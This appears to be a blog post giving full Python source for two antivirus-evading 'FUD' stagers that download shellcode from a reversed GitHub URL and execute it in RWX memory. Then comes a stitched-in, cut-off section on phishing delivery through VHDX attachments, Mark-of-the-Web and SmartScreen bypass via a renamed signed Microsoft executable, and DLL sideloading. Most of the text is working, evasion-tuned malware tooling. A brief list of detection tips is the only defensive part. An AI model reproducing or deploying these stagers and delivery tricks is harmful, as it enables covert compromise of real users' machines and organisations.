FUD Stager Variant #1

High Level Overview for The First Stager Concept

• Construct a URL via string reversal to obscure its destination (SCODE_U[::-1])
• Download raw shellcode from that URL
• Allocate RWX memory via NtAllocateVirtualMemory (NT-layer to dodge API monitoring)
• Copy shellcode into that region
• Execute it via NtCreateThreadEx, evasion-motivated
• API names are obfuscated via string reversal throughout the code (_api, _api2, etc.)

In brief: This is a simple dropper/stager that downloads and executes shellcode in-memory, and avoids writing anything to disk.

Part 1 - Bypassing Static Analysis Overview

The initial approach I usually take is to use simple yet effective techniques to help prevent familiar static analysis detection. For starters, I want to:

• Avoid string detection for APIs we will use in the code
• Rename and/or shorten the name of familiar offsec terms used throughout our code like shellcode -> scode, download shellcode -> dwnlod_scode, and so on.
• Reverse our variable names and other strings used in our code and correct them at time of execution
  • _api = “yromeMlautriVetacollAtN”
  • SCODE_U = “onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth”

Why string detection matters

Most static analysis engines, whether signature-based or ML-assisted, are doing some form of token scoring. Strings like VirtualAlloc, CreateThread, NtAllocateVirtualMemory, and shellcode carry heavy malicious weight in any trained model. They show up constantly in malware samples, so their mere presence pushes a file’s score upward fast. The goal isn’t to be invisible, it’s to stay below the threshold that triggers a block or quarantine action.

Reversing our API strings and resolving them at runtime is about as low-effort as obfuscation gets, and I like low effort code. 😈 It works because static analysis by definition can’t execute your code to unwind it. An engine scanning bytes on disk sees "yromeMlautriVetacollAtN" — an unrecognized string that scores essentially zero on its own. 😸

Variable names Matter!

This one is almost embarrassingly simple, but don’t underestimate it. Variable names, function names, and comments all end up as strings in your source or bytecode. A function called download_shellcode is a gift to any analyst or automated scanner. dwnlod_scode isn’t clever enough to fool a human analyst for long, but you’re not trying to fool a human analyst at static analysis time — you’re trying to slip past automated pre-execution scoring.

Part 2 - Downloading the Shellcode in Memory

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"  
SCODE_U = SCODE_U[::-1]
def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)  # Stream for large files 
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))  # Load fully into bytes
        print(f"[+] Dwnlded {len(shel_ly)} bytes of scode")
        return shel_ly
    except Exception as e:
        print(f"[-] Dwnld failed: {e}")
        return None

In the code above is pretty straightforward. My shellcode is located in a file that resides on my Github repo and I’ve reversed the URL string to thwart static analysis efforts. I’ve also renamed the file extension to something random, in this case .dyno as that is not a typical windows file extension and it will not receive as much scrutiny as say a .bin file extension. Finally, we return the bytes of the shellcode we just downloaded in the shel_ly variable.

Part 3 - Eggsecuting Shellcode in Memory 🥚

I always like to keep things simple to start, just to see how much I can get away with before detection 😸 In this case, I was able to avoid using advanced methods such as Syscalls and/or further advanced techniques to inject our shellcode and the code remained undetected. I didn’t keep things so simple as to still use the basic kernel32 APIs though. 😏 Instead, we will be making use of the low level NT APIs to help increase our chances of success as far as code exection without detection.

Here’s how everything is laid out in the eggsecute_scode function:

Obfuscated Windows API calls

Our code uses string reversal once again to hide the real API names from simple string scanners:

• “eldnaHesolC”[::-1] → CloseHandle
• “tcejbOelgniSroFtiaW”[::-1] → WaitForSingleObject
• “yromeMlautriVetacollAtN”[::-1] → NtAllocateVirtualMemory
• “xEdaerhTetaerCtN”[::-1] → NtCreateThreadEx
• “evommem”[::-1] → memmove

Allocating executable memory using NT APIs

We use NtAllocateVirtualMemory (our low-level kernel32 API equivalent from ntdll) to request a block of memory in the current process with these familiar permissions:

MEM_COMMIT

MEM_RESERVE

PAGE_EXECUTE_READWRITE (RWX — readable, writable, and executable)

This is as basic as it gets as far as demonstrating a classic allocation of RWX memory

Copy the shellcode into memory and Execute it!

We now use memmove to copy the previously downloaded shellcode bytes directly into the newly allocated executable memory region. Finally, as is typical in standard shellcode execution convention, we create a thread to run our shellcode.

We will use the low level NtCreateThreadEx API to spawn a new thread inside our current process, with the starting address set to the beginning of the shellcode. Lastly, we wait up to 10 seconds for the thread to finish (WaitForSingleObject) and then close the thread handle.

Here’s what that entire function looks like in terms of code:

def eggsecute_scode(scode2):
    # Constants
    MEM_COMMIT = 0x1000
    MEM_RESERVE = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40

    kernel32 = ctypes.windll.kernel32
    ntdll = ctypes.windll.ntdll
    
    _api4 = "eldnaHesolC"
    closingtime = getattr(kernel32, _api4[::-1])
    
    closingtime.restype = wintypes.DWORD
    closingtime.argtypes = [
    wintypes.HANDLE,  # hHandle
    ]
    
    _api3 = "tcejbOelgniSroFtiaW"
    waitinaround = getattr(kernel32, _api3[::-1])
    
    waitinaround.restype = wintypes.DWORD
    waitinaround.argtypes = [
    wintypes.HANDLE,  # hHandle
    wintypes.DWORD,   # dwMilliseconds
    ]
    
    _api = "yromeMlautriVetacollAtN"  # 
    Allocator = getattr(ntdll, _api[::-1])
    
    Allocator.restype = wintypes.BOOL
    Allocator.argtypes = [
    wintypes.HANDLE,
    ctypes.POINTER(wintypes.LPVOID),
    ctypes.c_void_p,
    ctypes.POINTER(ctypes.c_size_t),
    wintypes.DWORD,
    wintypes.DWORD,
    ]
    
    _api2 = "xEdaerhTetaerCtN"
    thred_the_needle = getattr(ntdll, _api2[::-1])
    
    thred_the_needle.restype = wintypes.LONG  # NTSTATUS
    thred_the_needle.argtypes = [
    ctypes.POINTER(wintypes.HANDLE),   # ThredHandel (out)
    ctypes.c_ulong,                    # DesiredAccess
    ctypes.c_void_p,                   # ObjectAttributes
    wintypes.HANDLE,                   # ProcessHandle
    ctypes.c_void_p,                   # StartRoutine (your scode addr)
    ctypes.c_void_p,                   # Argument
    ctypes.c_ulong,                    # CrateFlags (0 = run immediately)
    ctypes.c_size_t,                   # ZeroBits
    ctypes.c_size_t,                   # StackSize
    ctypes.c_size_t,                   # MaximumStackSize
    ctypes.c_void_p,                   # AttributeList
]
    
    addr = wintypes.LPVOID(0)
    size = ctypes.c_size_t(len(scode2))
    current_process = wintypes.HANDLE(-1)
    status = Allocator(
        current_process,
        ctypes.byref(addr),
        0,
        ctypes.byref(size),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    )
    
    if status == 0:  # NTSTATUS 0 = success
        mem_addr = addr.value
        print(f"[+] Allcted mem at: 0x{mem_addr:x}")
        
        _api0 = "evommem"  
        m3mMov3r = getattr(ctypes, _api0[::-1])
        
        m3mMov3r(mem_addr, scode2, len(scode2))
        print("[+] Scode copied to memory")
        
        h_thread = wintypes.HANDLE(0)
        status2 = thred_the_needle(
        ctypes.byref(h_thread),
        0x1FFFFF,                          # THRED_ALL_ACCESS
        None,
        current_process,
        ctypes.cast(mem_addr, ctypes.c_void_p),  # scode start address
        None,
        0,                                 # no flags, start immediately
        0,
        0,
        0,
        None
        )
        
        if status2 == 0:
            print(f"[+] Thredded Needle!")
            
            waitinaround(h_thread.value, 10000)
            closingtime(h_thread.value)
        else:
            print(f"[-] thred_the_needle failed: {hex(status2 & 0xFFFFFFFF)}")
            
    else:
        print(f"[-] Allocator failed (NTSTATUS: 0x{status:08X})")

Bringing it all together

Code Execution:

Reverse Shell:

For just 135 lines of code, we were able to accomplish a very effective means of executing shellcode in memory without detection. Want to see how effective? See for yourself. At the time of my submission/analysis, this achieved a 0/63 on VirusTotal. In other words: FUD achieved!

hash lookup: 27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e

https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e

Full Source Code:

#27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e


import requests
import ctypes
from ctypes import wintypes

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"  
SCODE_U = SCODE_U[::-1]
def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)  # Stream for large files 
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))  # Load fully into bytes
        print(f"[+] Dwnlded {len(shel_ly)} bytes of scode")
        print(shel_ly)
        return shel_ly
    except Exception as e:
        print(f"[-] Dwnld failed: {e}")
        return None

def eggsecute_scode(scode2):
    # Constants
    MEM_COMMIT = 0x1000
    MEM_RESERVE = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40

    kernel32 = ctypes.windll.kernel32
    ntdll = ctypes.windll.ntdll
    
    _api4 = "eldnaHesolC"
    closingtime = getattr(kernel32, _api4[::-1])
    
    closingtime.restype = wintypes.DWORD
    closingtime.argtypes = [
    wintypes.HANDLE,  # hHandle
    ]
    
    _api3 = "tcejbOelgniSroFtiaW"
    waitinaround = getattr(kernel32, _api3[::-1])
    
    waitinaround.restype = wintypes.DWORD
    waitinaround.argtypes = [
    wintypes.HANDLE,  # hHandle
    wintypes.DWORD,   # dwMilliseconds
    ]
    
    _api = "yromeMlautriVetacollAtN"  # 
    Allocator = getattr(ntdll, _api[::-1])
    
    Allocator.restype = wintypes.BOOL
    Allocator.argtypes = [
    wintypes.HANDLE,
    ctypes.POINTER(wintypes.LPVOID),
    ctypes.c_void_p,
    ctypes.POINTER(ctypes.c_size_t),
    wintypes.DWORD,
    wintypes.DWORD,
    ]
    
    _api2 = "xEdaerhTetaerCtN"
    thred_the_needle = getattr(ntdll, _api2[::-1])
    
    thred_the_needle.restype = wintypes.LONG  # NTSTATUS
    thred_the_needle.argtypes = [
    ctypes.POINTER(wintypes.HANDLE),   # ThredHandel (out)
    ctypes.c_ulong,                    # DesiredAccess
    ctypes.c_void_p,                   # ObjectAttributes
    wintypes.HANDLE,                   # ProcessHandle
    ctypes.c_void_p,                   # StartRoutine (your scode addr)
    ctypes.c_void_p,                   # Argument
    ctypes.c_ulong,                    # CrateFlags (0 = run immediately)
    ctypes.c_size_t,                   # ZeroBits
    ctypes.c_size_t,                   # StackSize
    ctypes.c_size_t,                   # MaximumStackSize
    ctypes.c_void_p,                   # AttributeList
]
    
    addr = wintypes.LPVOID(0)
    size = ctypes.c_size_t(len(scode2))
    current_process = wintypes.HANDLE(-1)
    status = Allocator(
        current_process,
        ctypes.byref(addr),
        0,
        ctypes.byref(size),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    )
    
    if status == 0:  # NTSTATUS 0 = success
        mem_addr = addr.value
        print(f"[+] Allcted mem at: 0x{mem_addr:x}")
        
        _api0 = "evommem"  
        m3mMov3r = getattr(ctypes, _api0[::-1])
        
        m3mMov3r(mem_addr, scode2, len(scode2))
        print("[+] Scode copied to memory")
        
        h_thread = wintypes.HANDLE(0)
        status2 = thred_the_needle(
        ctypes.byref(h_thread),
        0x1FFFFF,                          # THRED_ALL_ACCESS
        None,
        current_process,
        ctypes.cast(mem_addr, ctypes.c_void_p),  # scode start address
        None,
        0,                                 # no flags, start immediately
        0,
        0,
        0,
        None
        )
        
        if status2 == 0:
            print(f"[+] Thredded Needle!")
            
            waitinaround(h_thread.value, 10000)
            closingtime(h_thread.value)
        else:
            print(f"[-] thred_the_needle failed: {hex(status2 & 0xFFFFFFFF)}")
            
    else:
        print(f"[-] Allocator failed (NTSTATUS: 0x{status:08X})")

if __name__ == "__main__":
    print("[*] Dwnlding scode from URL...")
    scode = dwnlod_scode(SCODE_U)
    if scode:
        print("[*] Eggsecuting Scode in mem...")
        eggsecute_scode(scode)
    else:
        print("[-] Aborting.")

FUD Stager Variant #2

High Level Overview

Let’s take another creative approach to building our FUD stager. Rather than calling VirtualAlloc directly, we’ll leverage the already-loaded python314.dll — parsing its in-memory PE structure to walk the IAT and extract the live runtime address of VirtualAlloc as imported from kernel32.dll. No direct API call. No obvious import. Just borrowing what Python already loaded for us. It’s also worth mentioning this is assuming you use a portable version of python to load your script. It would work with py2exe as well, but we’re trying to avoid use of executable files in this case. The python executable itself is an exception 😸

In short: The resolved IAT address becomes a typed function pointer, giving us direct access to VirtualAlloc without ever naming it explicitly or having to look its memory address up manually via traditional methods (GetProcAddress, etc). This once again helps aid us greatly in deterring static analysis efforts from EDR.

Part 1 - The Familiar Downloader

Our code this time starts out in a familiar fashion as our last FUD code. We download our reverse shell shellcode bytes into memory. We will also be reversing our URL string again and changing variables from their familiar descriptors (shellcode, etc) to a less revealing name, like SCODE_U (shellcode url 😄).

import ctypes, sys, os
import requests

try:
    import pefile
except ImportError:
    print("pip install pefile"); sys.exit(1)

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"
SCODE_U = SCODE_U[::-1]

def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))
        print(f"[+] Downloaded {len(shel_ly)} bytes")
        return shel_ly
    except Exception as e:
        print(f"[-] Download failed: {e}"); return None

Part 2 - Setup our functions for Copying and Executing the Downloaded Shellcode

We also need to go over the copying of our shellcode bytes into our soon to be allocated memory address and the executing of the shellcode. Let’s do that now.

def copy_to_page(page: int, scode: bytes) -> bool:
    """Copy scode bytes into the RWX page via ctypes.memmove."""
    if not page:
        print("[-] Invalid page address"); return False
    if len(scode) > 0x1000:
        print(f"[-] Scode too large ({len(scode)} > 0x1000)"); return False

    # memmove(dst, src, count)
    # dst = raw integer address of our RWX page
    # src = scode bytes (ctypes accepts bytes directly as src)
    ctypes.memmove(page, scode, len(scode))
    print(f"[+] Copied {len(scode)} bytes → 0x{page:016x}")
    return True

def exec_page(page: int):
    """Cast the page to a void(*)(void) and call it."""
    thunk = ctypes.WINFUNCTYPE(None)(page)
    print(f"[+] Executing scode @ 0x{page:016x}")
    thunk()

Part 3- Walking the IAT and locating the already loaded VirtualAlloc memory address!

Phase 1 — We will build out the DLL name and path dynamically

ver      = sys.version_info
dll_name = f"python{ver.major}{ver.minor}.dll"
dll_path = os.path.join(os.path.dirname(sys.executable), dll_name)

The first part of our code constructs python314.dll (or whatever version you are running) without hardcoding it. dll_path points to the on-disk copy needed for PE parsing. This is also nice because it is version-agnostic and works across all Python releases without modification.

Phase 2 — We get the live in-memory base address of our python314.dll

k32 = ctypes.windll.kernel32
k32.GetModuleHandleW.restype  = ctypes.c_void_p
k32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p]
base = k32.GetModuleHandleW(dll_name)

We explicitly set the return type to c_void_p so ctypes doesn’t truncate the 64-bit address. GetModuleHandleW returns the base address of our already-loaded module. In other words: no disk load, no new mapping. Since Python is running, python314.dll is guaranteed to be resident in memory.

Phase 3 — We need to parse the on-disk PE structure

pe = pefile.PE(dll_path, fast_load=False)
pe.parse_data_directories()

We will read the on-disk copy of python314.dll purely for its layout. This includes section headers, import directory offsets, and ImageBase.

fast_load=False + parse_data_directories() ensures the full import table is available.

Phase 4 — Walk the IAT and resolve the live pointer

memprep = b"collAlautriV"   # "VirtualAlloc" reversed
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    if b'kernel32' in entry.dll.lower():
        for imp in entry.imports:
            if imp.name == memprep[::-1]:
                slot  = base + imp.address - pe.OPTIONAL_HEADER.ImageBase
                va_va = ctypes.c_uint64.from_address(slot).value

Part 4 - Cast and Execute!

Lastly, this code snippet filters to kernel32.dll imports only. We then match against b”VirtualAlloc”, without that string ever appearing in plaintext.

imp.address is the on-disk VA of the IAT slot. Subtracting pe.OPTIONAL_HEADER.ImageBase converts it to an RVA. Adding base converts the RVA to the actual runtime address of the slot.

and Finally! c_uint64.from_address(slot).value dereferences that previously mentioned slot. We then read the 8-byte pointer the loader wrote there at startup, giving us the true runtime address of VirtualAlloc 😸 Phew! Well, there you have it.

The resulting va_va is the live, post-ASLR, post-loader-resolution address of VirtualAlloc, ready to be cast to a callable. Let’s do that now!

MemoryAllocator = ctypes.WINFUNCTYPE(
    ctypes.c_void_p,
    ctypes.c_void_p, ctypes.c_size_t,
    ctypes.c_uint32, ctypes.c_uint32
)(va_va) # <--here's where we cast it

page = MemoryAllocator(None, 0x1000, 0x3000, 0x40)
print(f"[+] RWX page @ 0x{page:016x}" if page else f"[-] failed (GLE={k32.GetLastError()})")

if page:
    print("[+] allocated!")

Finally, call the copy and execute functions:

# ── execution ─────────────────────────────────────────────────────────────────────
scode = dwnlod_scode(SCODE_U)
if scode:
    # page = your VAlloc result from earlier
    if copy_to_page(page, scode):
        exec_page(page)
        
    # ── cleanup (only reached if shellcode returns) ───────────────────────────────
    k32.VirtualFree(ctypes.c_void_p(page), 0, 0x8000)
    print("[*] freed")

Here’s a sneak preview of the finished product:

VirusTotal Results 💊

Hash: 6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6

https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6

And the full source code for FUD variant #2:

#6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6

import ctypes, sys, os
import requests

try:
    import pefile
except ImportError:
    print("pip install pefile"); sys.exit(1)

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"
SCODE_U = SCODE_U[::-1]

def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))
        print(f"[+] Downloaded {len(shel_ly)} bytes")
        return shel_ly
    except Exception as e:
        print(f"[-] Download failed: {e}"); return None

def copy_to_page(page: int, scode: bytes) -> bool:
    """Copy scode bytes into the RWX page via ctypes.memmove."""
    if not page:
        print("[-] Invalid page address"); return False
    if len(scode) > 0x1000:
        print(f"[-] Scode too large ({len(scode)} > 0x1000)"); return False

    # memmove(dst, src, count)
    # dst = raw integer address of our RWX page
    # src = scode bytes (ctypes accepts bytes directly as src)
    ctypes.memmove(page, scode, len(scode))
    print(f"[+] Copied {len(scode)} bytes → 0x{page:016x}")
    return True

def exec_page(page: int):
    """Cast the page to a void(*)(void) and call it."""
    thunk = ctypes.WINFUNCTYPE(None)(page)
    print(f"[+] Executing scode @ 0x{page:016x}")
    thunk()

ver      = sys.version_info
dll_name = f"python{ver.major}{ver.minor}.dll"
dll_path = os.path.join(os.path.dirname(sys.executable), dll_name)

k32 = ctypes.windll.kernel32
k32.GetModuleHandleW.restype  = ctypes.c_void_p     
k32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p]
base = k32.GetModuleHandleW(dll_name)
print(f"[*] {dll_name} @ 0x{base:016x}")

pe = pefile.PE(dll_path, fast_load=False)
pe.parse_data_directories()

memprep=b"collAlautriV"
va_va = 0
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    if b'kernel32' in entry.dll.lower():
        for imp in entry.imports:
            if imp.name == memprep[::-1]:
                slot  = base + imp.address - pe.OPTIONAL_HEADER.ImageBase
                va_va = ctypes.c_uint64.from_address(slot).value
                break

if not va_va:
    print("[-] collAlautriV not found in IAT"); sys.exit(1)
print(f"[+] collAlautriV @ 0x{va_va:016x}")

MemoryAllocator = ctypes.WINFUNCTYPE(
    ctypes.c_void_p,
    ctypes.c_void_p, ctypes.c_size_t,
    ctypes.c_uint32, ctypes.c_uint32
)(va_va)

page = MemoryAllocator(None, 0x1000, 0x3000, 0x40)
print(f"[+] RWX page @ 0x{page:016x}" if page else f"[-] failed (GLE={k32.GetLastError()})")

if page:
    print("[+] allocated!")

# ── execution ─────────────────────────────────────────────────────────────────────
scode = dwnlod_scode(SCODE_U)
if scode:
    # page = your VAlloc result from earlier
    if copy_to_page(page, scode):
        exec_page(page)
        
    # ── cleanup (only reached if shellcode returns) ───────────────────────────────
    k32.VirtualFree(ctypes.c_void_p(page), 0, 0x8000)
    print("[*] freed")

Bonus Content for Members! (All Membership Tiers)

📹 In-Depth Video/Audio Walkthrough for today’s blog post: In-Depth Video Walkthrough

🗒️ Packaged .zip file containing portable python + Source Code to go with the Video: Portable Python + code

🛡️ Dynamic Analysis Detection Tips 🛡️

• Flag python.exe when allocating RWX memory at runtime. I’d say most legitimate Python workloads almost never do this 😆
• ETW Microsoft-Windows-Threat-Intelligence provider alerts on ALLOCVM events with execute permissions from interpreter processes
• Detect execution originating from private, non-image-backed memory regions
• Alert on python.exe making outbound network connections followed by memory allocation and execution in the same process lifetime
• Monitor for python-requests User-Agent strings
• Flag NtAllocateVirtualMemory and/or NtCreateThreadEx calls from python interpreter processes. Honestly, NT API usage from Python is highly anomalous
• Sandbox detonation of unknown .py files with full API call tracing — reversed strings unwind at runtime and become visible in dynamic traces even when invisible statically
• Alert on python.exe with no parent console or GUI context making network calls
• Detect pefile import activity at runtime. Parsing a PE from within a running Python process is unusual behavior outside of explicit reverse engineering tooling
• Memory scanning on execute-permission regions mid-execution. Shellcode signatures that evade static scanning are often detectable in-memory after decoding

And that’s a wrap folks! Thanks and see you on the next blog post!

~G3tSyst3m

Sponsored By:

Speaking of MOTW, Spoiler Alert: We’ll be using a cool trick I learned a while back where you use a known trusted executable to bypass MOTW and also use DLL sideloading to further amplify our evasive strategy. Let’s do it to it!

The Lay of the Land

In our scenario, let’s assume we’re only provided the company directory which includes their phone and email address. We’re permitted to use any means necessary of compromising a machine and so forth, but the information we’re starting with is limited. Like I mentioned earlier, I’ll be resorting to email for our attack vector to work toward our goal of initial access/initial foothold into the organization. I could go the whole social engineering route and text/call someone at the company, but that won’t be a part of this exercise 😼 Let me give you a tour of our toolkit arsenal.

Using Gmail’s Web Frontend and Testing Attachment Types

Test attachment #1: .zip attachment with 1 exectuble and 1 DLL inside

Gmail is VERY tempermental with attachments, and rightly so. Threat actors have successfully leveraged email attachments as the primary vehicle for payload transport to the victim for years. So let’s see what we’re up against. We will try a basic .zip attachment with an executable and DLL file. The executable is a digitally signed Microsoft executable (ApplicationFrameHost.exe just renamed by me to something else) and the DLL is a DLL we will be sideloading later. Mwuahahahhhahha! But here’s the deal, the executable is literally the same as the one in System32. I just renamed it. let’s see what happens:

Okay so as you likely already have surmised, we failed to get beyond Gmail’s initial security filters.

Spoiler alert…again 😸: It’s largely due to the executable. It doesn’t matter what executable we use, signed, unsigned, zipped, not zipped, you name it. It will likely get flagged.

You may also think,”But wait, why not use Proton mail to send it instead? Or some other email client less well known, etc?” Sure. You absolutely can, but then you run into another issue. The receiving user’s email client will also scrutinize the attachment to see if it checks out. So for all intents and purposes, let’s just go off the assumption that if it works in gmail and permits us to upload it, then the receiving client’s email security will also likely let it pass through. In my case, I’ll be sending from Gmail to my Outlook account.

Test attachment #2: .zip attachment that includes a VHDX (Hard Disk Image File) with the exact same contents (I’ll show you how to generate this shortly I promise 😸)

Notice the file size! Pretty large huh? We can get around that by compressing it into a .zip file which we had already planned to do anyways!

Here’s inside the zip file:

And now going inside the VHDX file:

Double clicking on the VHDX file will also treat this file as a mountable drive.

Now the moment we’ve all been waiting for…uploading it to our email to see if it is accepted or flagged:

AND…………………….BINGO!!!!

That time we didn’t run into any issues. Phew!

Okay, so that’s one approach you can take to prep your payload. This can go a number of ways of course. You could have used a .ps1 script or py-to-exe executable, .hta script, .vbs, and so on. You get the idea. The primary key is to “cloak” your scripts inside a virtual disk file. I’ve tried .iso and .img and those get flagged more often than I’d like. The only consistent way I’ve found to include an attachment and it not get flagged is through the use of .VHDX files. Here’s the script I used to package this btw. It needs to be ran as Administrator to create the .VHDX file.

It does NOT need admin rights to mount/open it as a user. <– Revision 3/29/2026: This is incorrect. You need to be a member of the local administrators group for this to work. Thank you to the kind and responsible reader who pointed this out to me!

• VHD_PATH is the output file
• EXE_TO_COPY is the executable you wish to add to the VHDX
• SCRIPT_TO_COPY is the script you’d like to add to the VHDX

and so on…

You can add as many variables as you like. Okay the script! See below:

@echo off
setlocal enabledelayedexpansion

set VHD_PATH=C:\Temp\DocumentUpdate.vhdx
set VHD_SIZE_MB=64
set EXE_TO_COPY=C:\Temp\DocumentRetrieval.exe
set SCRIPT_TO_COPY=C:\Temp\UMPDC.dll

echo [+] Creating 1GB VHDX...
(
echo create vdisk file="%VHD_PATH%" maximum=%VHD_SIZE_MB% type=expandable
echo select vdisk file="%VHD_PATH%"
echo attach vdisk
echo create partition primary
echo format fs=ntfs label="Documents2026" quick
echo assign letter=X
) | diskpart > nul 2>&1

REM Detect actual letter if X taken
for %%d in (X Y Z W V U T S R Q P O N M L K J I H G F E D C B A) do (
    if exist %%d:\ (
        echo [+] Drive %%d: available? No.
    ) else (
        echo [+] Assigning %%d:
        echo select disk !disknum!
        echo select partition 1
        echo assign letter=%%d
        ) | diskpart > nul 2>&1
        set DRIVE_LETTER=%%d
        goto :copy
    )
)

:copy

copy "%EXE_TO_COPY%" "%DRIVE_LETTER%:\"
echo [+] Copied to %DRIVE_LETTER%:\

copy "%SCRIPT_TO_COPY%" "%DRIVE_LETTER%:\"
echo [+] Copied to %DRIVE_LETTER%:\

echo select vdisk file="%VHD_PATH%"
echo detach vdisk
) | diskpart > nul 2>&1

echo [+] Done: %VHD_PATH% (test mount on target)
pause

Ok cool, so that’s one approach. We can simply upload our payload as an attachment. But I’m not satisfied with that approach because it’s crazy restrictive and limited in nature. Let’s continue, as I still need to explain Mark of the Web and Smartscreen protection and some other aspects of initial access that prove difficult for us to contend with. But fear not, I have ways around those restrictions 😸

My Preferred Approach: Using Gmail’s Web Frontend and Hyperlinks for your Payload

Right out of the gate I get sent to the dreaded Junk mail folder:

Hmm, we need to rectify that. Let’s see what we can do. I’ll try sending from another gmail account that is older with a good reputation and change the subject and body a bit.

Interesting huh?! No junk folder this time. This time I sent the email using a gmail address I’ve had for a very long time. 10+ years or so. The other email was my g3tsyst3m@gmail.com email address and it’s exclusively used for offsec convos so who knows maybe it has a bad reputation 😆

I’m betting it’s a combination of factors: Reputational risk for email sender, Subject content, and Body content. Oddly enough I don’t think the github link is considered suspicious by the email client 😸

Okay, so moving on. I’ll click the link in the email we sent soon enough, but before I do, I need to keep you in suspense for a bit. Sorry about that 😄 We still need to go over Mark of the Web and SmartScreen so you can truly understand the real battle we face when downloading payloads. Whether it’s from an email or web browser, you’ll have to deal with this. I’ll cover everything in our next section and then revisit our email we sent to the pentest “victim”.

Introducing Mark of the Web and SmartScreen

When you download a file, depending on where it is being downloaded from, it will have the dreaded Mark of the Web property assigned to it. What does this look like? Glad you asked. I’ll show you 😸

Let’s download a reverse shell python script that I’ve converted to an executable. I’ve previously uploaded it to my Github account. I’ve also changed the icon to somewhat resemble an adobe PDF document. Take a look at the properties of the file. Notice how it has a checkbox that says, “Unlock”? That’s the Mark of the Web property I’ve been mentioning.

If I try and execute this file as-is, I’ll trigger Windows Smart Screen. You have to actually click “More Info” to even get presented the option of running the executable.

We don’t want the unsuspecting pentest customer to have to jump through hoops to execute our payload, right? RIGHT!

Here’s how it would play out if I checked “Unblock”. Notice I don’t get a prompt and the reverse shell works as intended:

So, that’s what we’re up against. But as you can imagine, I have some tricks up my sleeve 😺 Keep following along to see how it all plays out!

Bypassing Mark of the Web and SmartScreen using Trusted Executable Reputation

So the title sort of gives a hint as to how we can bypass both Mark of the Web and SmartScreen. But before I delve further into that, just a quick recap.

• We have an email that we’ve prepared both with and without attachments that bypasses the intitial basic email security filters
• Regardless of whether we have the user click an email link or open an email attachment, the contents will receive the MOTW property and require the user to approve the security prompts
• We wish to bypass both!

Ok, this is pretty awesome. Ready for it? Are you? okay here it is. Go ahead and go into your C:/Windows/System32 directory and locate ApplicationHost.exe. You could have chosen any executable, but we’ll be picking on this one for today’s exercise 😼 Upload that executable to a location of your choosing. I uploaded mine to one of my Github repos. Go ahead and generate the link to your executable and download the file.

Right click on the downloaded file and check out the properties. Still has MOTW right?

Double click on it. What happens?

Yeah…it executes! no SmartScreen. Just pure glorious execution. Now things are startin’ to get exciting! 😸

You can even click it in your Downloads window and it will open no problem. No SmartScreen prompts.

So why is that? Why does it execute without SmartScreen interfering, especially since it still has the MOTW property unchecked.

Simple answer: File reputation.

This is a signed / trusted Microsoft executable. It has also been around for a very long time. Longevity and file signing increase the reputation of this executable considerably. Compare to my python to exe tester executable from earlier. It didn’t stand a chance. Unsigned, untrusted, just created, yeah you get it. Similar to email sender reputation, files have reputational value and reputational risk too. So now we’re left with a benign Microsoft executable that is trusted. Where do we go from here?

Let me introduce you to my good friends - A Trusted Executable and DLL Sideloading 😸

If you load up ApplicationFrameHost.exe into procmon, you’ll see some DLL’s that don’t have a home. Yeah, you know what we’re going to have to do right? Help one of those DLLs find a home!

Here’s my procmon filter’s and also the results from applying the filters and running ApplicationFrameHost.exe

As you can see, our trusted program is trying to find a home for a few DLLs and the one we’ll be helping out is: UMPDC.dll

I also elected to use an x64 executable versus an x86. I prefer more current architecture support personally 😸

Now we just need a simple test DLL to ensure this works as expected. Here’s a very simple DLL template to test our DLL sideloading:

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(nullptr, "Hey!", "It's a me...a messagebox that was DLL sideloaded!", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compile that, rename it to UMPDC.dll, and place your compiled DLL in the same directory as ApplicationFrameHost.exe and open ApplicationFrameHost.exe

BAM! Works like a charm. 😸 It will work exactly the same way if we package this and download + execute it from the web. So, let’s package this where it can be sent in our email from earlier!

Here’s the kicker. There are two files we need the user to download. The only conceivable way we can do that, as I see it, are two ways:

